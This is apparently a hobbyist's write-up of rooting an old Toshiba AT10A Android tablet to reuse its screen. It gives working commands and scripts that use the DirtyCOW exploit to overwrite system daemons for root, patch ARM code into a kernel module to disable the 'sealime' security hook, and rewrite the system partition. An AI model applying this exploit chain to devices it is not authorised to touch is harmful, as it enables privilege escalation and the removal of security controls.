As I needed a software controllable high-resolution display for another project, and had an old Toshiba AT10A lying around (yes, I'm actively searching for similar tablets by now), the easiest option seemed to repeat the rooting procedure I did for the other Toshibas.
Re-using binaries and scripts from the original rooting run, I arrive at:
shell@android:/data/local/tmp $ ls -la -rwxrwxrwx shell shell 55381 2024-09-24 08:03 dirtycow -rwxrwxrwx shell shell 296 2024-09-24 08:03 root.sh -rwxrwxrwx shell shell 309 2024-09-24 08:03 start-su.sh -rwxrwxrwx shell shell 49253 2024-09-24 08:03 su
(script contents will be shown below, but they're not usable yet).
and immediately:
shell@android:/data/local/tmp $ cp /system/bin/debuggerd debuggerd.orig shell@android:/data/local/tmp $ cp /system/bin/netd netd.orig shell@android:/data/local/tmp $ ./dirtycow start-su.sh /system/bin/debuggerd shell@android:/data/local/tmp $ ./dirtycow start-su.sh /system/bin/netd shell@android:/data/local/tmp $ sleep 45 shell@android:/data/local/tmp $ ./su /system/bin/sh: No controlling tty: open /dev/tty: No such device or address /system/bin/sh: warning: won't have full job control root@android:/ #
Unfortunately, the kernel has a different layout yet again, so I need to repeat some steps:
root@android:/ # echo 0 > /proc/sys/kernel/kptr_restrict root@android:/ # cat /proc/kallsyms >/data/local/tmp/kallsyms.txt
As for the AT300SE I need to dump the code registering sealime. The beaten path being to assemble a call to print_hex_dump and patch that into gps_drv.ko:
% cat dump_memory.as .macro mov32, reg, val movw \reg, #:lower16:\val movt \reg, #:upper16:\val .endm init_module: push {r4,lr} sub sp, sp, #20 adr r0, KERN_ERR adr r1, PREFIX mov r2, #1 // DUMP_PREFIX_ADDRESS mov r3, #16 // rowsize mov r4, #1 str r4, [sp] // groupsize mov32 r4, 0xc01c6b64 // register_sealime str r4, [sp, #4] // buf mov32 r4, 0x100 str r4, [sp, #8] // len mov r4, #1 str r4, [sp, #12] // ascii mov32 r4, 0xc0204dc8 // print_hex_dump blx r4 mov r0, #-43 add sp, sp, #20 pop {r4,pc} KERN_ERR: .asciz "<3>" PREFIX: .asciz "glomus"
Assemble for arm and patch the resulting code into the .init.text section of the original gps_drv.ko:
% arm-none-eabi-as dump_memory.as -o dump_memory.o % readelf -a dump_memory.o ... [ 1] .text PROGBITS 00000000 000034 000064 00 AX 0 0 4 ... % readelf -a gps_drv.ko ... [ 3] .init.text PROGBITS 00000000 000a9c 0000fc 00 AX 0 0 4 [ 4] .rel.init.text REL 00000000 01c130 000080 08 50 3 4 ... % cp gps_drv.ko dump_memory.ko % dd bs=1 skip=$((0x34)) count=$((0x64)) seek=$((0xa9c)) if=dump_memory.o of=dump_memory.ko conv=notrunc
... and disabling any .rel.init.text relocations (by setting the section length to zero):
% readelf -a gps_drv.ko ... Start of section headers: 111856 (bytes into file) ... % # 40 bytes per section headers, 20 byte offset of length field % dd bs=1 count=1 skip=0 seek=$((111856 + 4 * 40 + 20)) if=/dev/zero of=dump_memory.ko conv=notrunc % readelf -a dump_memory.ko ... [ 4] .rel.init.text REL 00000000 01c130 000000 08 50 3 4 ...
Dirtycow and insmod the improved "GPS driver":
root@android:/data/local/tmp # ./dirtycow dump_memory.ko /system/lib/modules/gps_drv.ko root@android:/data/local/tmp # insmod /system/lib/modules/gps_drv.ko insmod: init_module '/system/lib/modules/gps_drv.ko' failed (Identifier removed) root@android:/data/local/tmp # dmesg <3>[ 736.985051] glomusc01c6b64: 00 40 2d e9 00 40 bd e8 fc 37 0b e3 48 31 4c e3 .@-..@...7..H1L. <3>[ 736.997016] glomusc01c6b74: 00 00 83 e5 00 00 a0 e3 1e ff 2f e1 00 40 2d e9 ........../..@-. <3>[ 737.008876] glomusc01c6b84: 00 40 bd e8 fc 37 0b e3 48 31 4c e3 04 00 83 e5 .@...7..H1L..... <3>[ 737.017996] glomusc01c6b94: 00 00 a0 e3 1e ff 2f e1 f0 45 2d e9 0c d0 4d e2 ....../..E-...M. <3>[ 737.027536] glomusc01c6ba4: 00 40 2d e9 00 40 bd e8 78 40 9f e5 00 60 a0 e1 .@-..@..x@...`.. <3>[ 737.036975] glomusc01c6bb4: 01 70 a0 e1 02 50 a0 e1 03 80 a0 e1 00 c0 94 e5 .p...P.......... <3>[ 737.046059] glomusc01c6bc4: 28 a0 9d e5 00 00 5c e3 12 00 00 0a 00 a0 8d e5 (.....\......... <3>[ 737.054715] glomusc01c6bd4: a4 c1 9c e5 3c ff 2f e1 01 00 70 e3 0b 00 00 0a ....<./...p..... <3>[ 737.063344] glomusc01c6be4: 04 30 94 e5 00 00 53 e3 08 00 00 0a a4 c1 93 e5 .0....S......... <3>[ 737.071970] glomusc01c6bf4: 00 00 5c e3 05 00 00 0a 00 a0 8d e5 06 00 a0 e1 ..\............. <3>[ 737.080636] glomusc01c6c04: 07 10 a0 e1 05 20 a0 e1 08 30 a0 e1 3c ff 2f e1 ..... ...0..<./. <3>[ 737.089348] glomusc01c6c14: 0c d0 8d e2 f0 85 bd e8 02 30 a0 e1 00 a0 8d e5 .........0...... <3>[ 737.097964] glomusc01c6c24: cd fc ff eb eb ff ff ea fc b7 48 c1 f8 4f 2d e9 ..........H..O-. <3>[ 737.110022] glomusc01c6c34: 00 40 2d e9 00 40 bd e8 00 50 a0 e1 c4 60 9f e5 .@-..@...P...`.. <3>[ 737.118686] glomusc01c6c44: 01 90 a0 e1 00 00 96 e5 00 00 50 e3 02 00 00 0a ..........P..... <3>[ 737.127949] glomusc01c6c54: 10 00 80 e2 9c c9 00 eb 00 00 96 e5 00 40 90 e5 .............@..
With a bit of VIm and xxd, grab the original instruction stream:
% cat register_sealime.dump 00000000: 00 40 2d e9 00 40 bd e8 fc 37 0b e3 48 31 4c e3 .@-..@...7..H1L. 00000010: 00 00 83 e5 00 00 a0 e3 1e ff 2f e1 00 40 2d e9 ........../..@-. 00000020: 00 40 bd e8 fc 37 0b e3 48 31 4c e3 04 00 83 e5 .@...7..H1L..... 00000030: 00 00 a0 e3 1e ff 2f e1 f0 45 2d e9 0c d0 4d e2 ....../..E-...M. 00000040: 00 40 2d e9 00 40 bd e8 78 40 9f e5 00 60 a0 e1 .@-..@..x@...`.. 00000050: 01 70 a0 e1 02 50 a0 e1 03 80 a0 e1 00 c0 94 e5 .p...P.......... 00000060: 28 a0 9d e5 00 00 5c e3 12 00 00 0a 00 a0 8d e5 (.....\......... 00000070: a4 c1 9c e5 3c ff 2f e1 01 00 70 e3 0b 00 00 0a ....<./...p..... 00000080: 04 30 94 e5 00 00 53 e3 08 00 00 0a a4 c1 93 e5 .0....S......... 00000090: 00 00 5c e3 05 00 00 0a 00 a0 8d e5 06 00 a0 e1 ..\............. 000000A0: 07 10 a0 e1 05 20 a0 e1 08 30 a0 e1 3c ff 2f e1 ..... ...0..<./. 000000B0: 0c d0 8d e2 f0 85 bd e8 02 30 a0 e1 00 a0 8d e5 .........0...... 000000C0: cd fc ff eb eb ff ff ea fc b7 48 c1 f8 4f 2d e9 ..........H..O-. 000000D0: 00 40 2d e9 00 40 bd e8 00 50 a0 e1 c4 60 9f e5 .@-..@...P...`.. 000000E0: 01 90 a0 e1 00 00 96 e5 00 00 50 e3 02 00 00 0a ..........P..... 000000F0: 10 00 80 e2 9c c9 00 eb 00 00 96 e5 00 40 90 e5 .............@.. % xxd -r register_sealime.dump > register_sealime % arm-none-eabi-objdump -D -b binary -m arm_any register_sealime register_sealime: file format binary Disassembly of section .data: 00000000 <.data>: 0: e92d4000 stmfd sp!, {lr} 4: e8bd4000 ldmfd sp!, {lr} 8: e30b37fc movw r3, #47100 @ 0xb7fc c: e34c3148 movt r3, #49480 @ 0xc148 10: e5830000 str r0, [r3] 14: e3a00000 mov r0, #0 18: e12fff1e bx lr 1c: e92d4000 stmfd sp!, {lr} 20: e8bd4000 ldmfd sp!, {lr} 24: e30b37fc movw r3, #47100 @ 0xb7fc 28: e34c3148 movt r3, #49480 @ 0xc148 2c: e5830004 str r0, [r3, #4] 30: e3a00000 mov r0, #0 34: e12fff1e bx lr 38: e92d45f0 push {r4, r5, r6, r7, r8, sl, lr} 3c: e24dd00c sub sp, sp, #12 40: e92d4000 stmfd sp!, {lr} 44: e8bd4000 ldmfd sp!, {lr} 48: e59f4078 ldr r4, [pc, #120] @ 0xc8 ...
Write code to unregister sealime (set the pointer to NULL), assemble and patch a glomus.ko from gps_drv.ko:
% cat > glomus.as .macro mov32, reg, val movw \reg, #:lower16:\val movt \reg, #:upper16:\val .endm init_module: push {lr} mov r0, #0 mov32 r1, 0xc148B7fc str r0, [r1] str r0, [r1, #4] mov r0, #-43 pop {pc} % arm-none-eabi-as glomus.as -o glomus.o % cp gps_drv.ko glomus.ko % dd bs=1 skip=$((0x34)) count=$((0x64)) seek=$((0xa9c)) if=glomus.o of=glomus.ko conv=notrunc % dd bs=1 count=1 skip=0 seek=$((111856 + 4 * 40 + 20)) if=/dev/zero of=glomus.ko conv=notrunc
And finally disable sealime:
root@android:/data/local/tmp # ./dirtycow glomus.ko /system/lib/modules/gps_drv.ko root@android:/data/local/tmp # insmod /system/lib/modules/gps_drv.ko insmod: init_module '/system/lib/modules/gps_drv.ko' failed (Identifier removed) root@android:/data/local/tmp # ./dirtycow gps_drv.ko /system/lib/modules/gps_drv.ko
At this point, it seems I have full access. Unfortunately, /dev/graphics/fb0 is no longer mapped to the actual screen, thanks to whatever bootanim and zygote did with the GL setup.
So let's disable that part of the boot sequence. Unfortunately, remounting /system read-write will crash the kernel when it tries to "write back" the dirty-cow'ed pages. So instead let's rename drmserver bootanimation and surfaceflinger directly on the block device.
To prepare, I'm copying the original image so I can train filesystem patching locally (and without risk of bricking):
root@android:/data/local/tmp # dd if=/dev/block/platform/sdhci-tegra.3/by-name/APP of=/data/local/tmp/system.img root@android:/data/local/tmp # chmod 777 /data/local/tmp/system.img % adb pull /data/local/tmp/system.img % file system.img system.img: Linux rev 1.0 ext4 filesystem data, UUID=57f8f4bc-abf4-655f-bf67-946fc0f9f25b (extents) (large files) % e2fsck -vn system.img e2fsck 1.47.0 (5-Feb-2023) system.img: clean, 1782/65536 files, 227442/262140 blocks
I planned to manually patch the file system via dd at this point, but ultimately concluded it would be dumb. Instead:
% cp system.img system-new.img % mount -o loop system-new.img /mnt /mnt/bin % mv bootanimation bootanimation.off /mnt/bin % mv drmserver drmserver.off /mnt/bin % mv surfaceflinger surfaceflinger.off % umount /mnt
Using https://gitli.stratum0.org/Drahflow/binpatch (and after adjusting some sprintf format strings):
% ./generate system.img system-new.img > system.patch.c % gcc -W -Wall -Wextra -static system.patch.c -o system.patch % adb push system.patch /data/local/tmp root@android:/data/local/tmp # ./system.patch /dev/block/platform/sdhci-tegra.3/by-name/APP Patched at 0x0 Patched at 0x243000 ... Patched at 0x18048000 Patched at 0x18243000 root@android:/data/local/tmp # reboot % adb shell shell@android:/ $ ls /system/bin/boot* /system/bin/bootanimation.off
And indeed, /dev/graphics/fb0 is now mapped to the screen as would be expected.
The backlight can be controlled via /sys/class/backlight/pwm-backlight/brightness.
shell@android:/data/local/tmp $ cat root.sh #!/system/bin/sh cd /data/local/tmp ./dirtycow start-su.sh /system/bin/debuggerd ./dirtycow start-su.sh /system/bin/netd sleep 45 ./dirtycow glomus.ko /system/lib/modules/gps_drv.ko echo 'insmod /system/lib/modules/gps_drv.ko; exit' | ./su ./dirtycow gps_drv.ko /system/lib/modules/gps_drv.ko shell@android:/data/local/tmp $ cat start-su.sh #!/system/bin/sh if ! /data/local/tmp/su -c id; then mount -o remount,suid /data /data/local/tmp/su --daemon fi # repair daemons /data/local/tmp/dirtycow /data/local/tmp/debuggerd.orig /system/bin/debuggerd /data/local/tmp/dirtycow /data/local/tmp/netd.orig /system/bin/netd exec "$0" "$@"